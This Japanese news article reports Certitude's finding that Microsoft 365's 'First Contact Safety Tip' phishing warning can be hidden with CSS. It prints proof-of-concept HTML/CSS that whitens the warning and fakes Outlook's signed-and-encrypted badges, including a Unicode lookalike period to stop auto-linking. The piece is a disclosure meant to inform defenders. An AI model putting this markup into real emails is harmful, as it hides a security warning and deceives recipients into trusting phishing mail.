Microsoft365 のフィッシング対策機能はCSSで回避可能
海外のセキュリティ企業「Certitude」の調査によって、Microsoft 365(旧Office 365)が採用しているフィッシング対策を回避できる問題を指摘しました。なお、本指摘事項についてMicrosoft(マイクロソフト)へ報告しましたが、同社は現時点ではこれに対処しないと回答しています。
目次
Microsoft Defenderの様々なフィッシング対策
Outlookユーザーが普段やり取りしないアドレスからメールを受け取ると、Outlookは「あなたは通常、xyz@example.comからメールを受信しません。これが重要である理由を確認してください」という警告文(アラート)を表示します
この機能をMicrosoftは「First Contact Safety Tip」と呼び、これはExchange Online Protection(EOP)およびMicrosoft 365(旧Office 365)を使用している組織向けのMicrosoft Defenderの様々なフィッシング対策の一つです。
※画像左上と文章上部のYou don’t often get emailと表示される部分がフィッシングメール対策で表示される警告文
First Contact Safety Tip はHTML メールの本文の先頭に追加されるため、
CSS スタイル タグを使用して表示方法を変更できます。
CSSを操作しアラート文を隠す
概念実証として、ユーザーからFirst Contact Safety Tipを「隠す」HTMLメールを示しましょう。
display: none、height: 0px、opacity: 0のような一般的なCSSルールをテーブル自体に適用しても機能しません(これは要素内のインラインCSSのためか、Outlookのレンダリングエンジンのサポートの欠如によるものかもしれません)が、
背景色とフォント色を白に変更することで、エンドユーザーがメールを表示したときにアラートが実質的に見えなくなります。
<head>
</head>
<head>
<style>
a {
display: none;
}
td div {
color: white;
font-size: 0px;
}
table tbody tr td {
background-color: white !important;
color: white !important;
}
</style>
</head>
...[SNIP]...
この HTML コードをメールで使用すると、メールの本文にアラートが表示されなくなります。
文章内の警告文は非表示になりましたが、電子メールの左上のプレビュー (赤で強調表示) は、依然として安全に関する警告文から始まることに注意してください。
CSSを操作しMicrosoft Outlookのアイコンを偽装する
次はMicrosoft Outlook(マイクロソフト アウトルック) が暗号化または署名された電子メールに追加するアイコンを偽装することができます。
...[SNIP]...
#mainTable {
width: 100%;
z-index: 1;
margin-bottom: 1em;
}
#signedBy {
font-size: 0.9em;
}
.badge {
width: 2.8em;
text-align: right;
}
</style>
</head>
<table id="mainTable">
<tr>
<td id="signedBy" style="color:#666 !important;">
Signed By nimmerrichtermarc@gmail․com
</td>
<td class="badge">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAQCAYAAADAvYV+AAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA80lEQVQoFWNgIAEwIqu9u6fn/8uLGxl+fn7JwM4rziBtFsMgb5sOVwNnXFyS/P/Dg9MMYjpeDHwyBgyfnlxgeHVlG5ivGdABV8fw9vah//sb1P4/Obn4P7JNID5I/MvLm2BxJpDkpyfnwWqEVGyR1TIIqzmA+Z+eXgLTYMW/vr4Dc7iEFRDWAUU4BWXB/P9/f4PlGc/OCf8PMxksgoPgkzFkYCJGIUg/SB3YGciGKToVMDg23GIE0egAQ7GMeTxYDYxG1oCh+MnJhWB5GI1X8f19E8DyMBqvYmRJdDYjKIbQBXHxmSQMgnDJoYgr2Gej8AlyAAq1UqzJ9H01AAAAAElFTkSuQmCC"/>
</td>
<td class="badge">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAQCAYAAAArij59AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABaklEQVQoFWNkAILfb1/+f7mon+HbjQsMjExMDJwaBgziMfkMrMLijIw/Ht/9/6AmkeHfty8gtXDAzCfIoNSzkoE5XYq14eeDWwysYtIM0rktDHxWbgzfb15k+PP+DRC/ZmD6eukkWJd4QjEDr7EtI5+pA6NYXCFYDCTHxAC0Ewz+/YPQSCTIPSw8ehYMn07sYXi5oIfh3c7V////+c3wcl4XWBmPkS0D48+nD4COTGD4++UTkl4GBhYBYbAjGUGiIG++WjYF7k0uLWMGsagcBhZ+IUaGPx/f/f+wf9P/Xy+e/IcZ8fPJ/f/v96z7//fr5/+Mn04f+P+kqwgmh0LLN81lYPrz5gWKIDLn96unDEw/nz1EFkNh/wZqhpvAyMbOIFPWxyBd0M7AyMIKVvjrxWMGFhABEgBJgEIRJPPx6M7/TydVM/x+9YyB4Uaszf+Ph7fDfQCzAxRot7N9/zO83bwYQxKm6NXyqf8BbdGbs1P6sYsAAAAASUVORK5CYII="/>
</td>
</tr>
</table>
警告文を消去し認証アイコンを表示する
ここで注意すべき点は、「Signed By nimmerrichtermarc@gmail.com」の「.」文字は、
実際には Unicode 文字U+2024であり、通常のピリオドでは「ない」という点です。
これは、ピリオドのままにしておくと、Outlook がnimmerrichtermarc@gmail.com を電子メール アドレスとして自動的に検出し、mailtoリンクを生成するためです。
このリンクは、偽装しようとしている元のテキストとは明らかに異なって見えます。
実際に署名され暗号化された電子メールと比較すると、注意深いユーザーであればフォーマットの違いに気づくでしょうが、気づかないユーザーもいます。
フィッシング攻撃に引っかかる人が 1 人いるだけで、敵対者が組織内に足がかりを築くことができます。
引用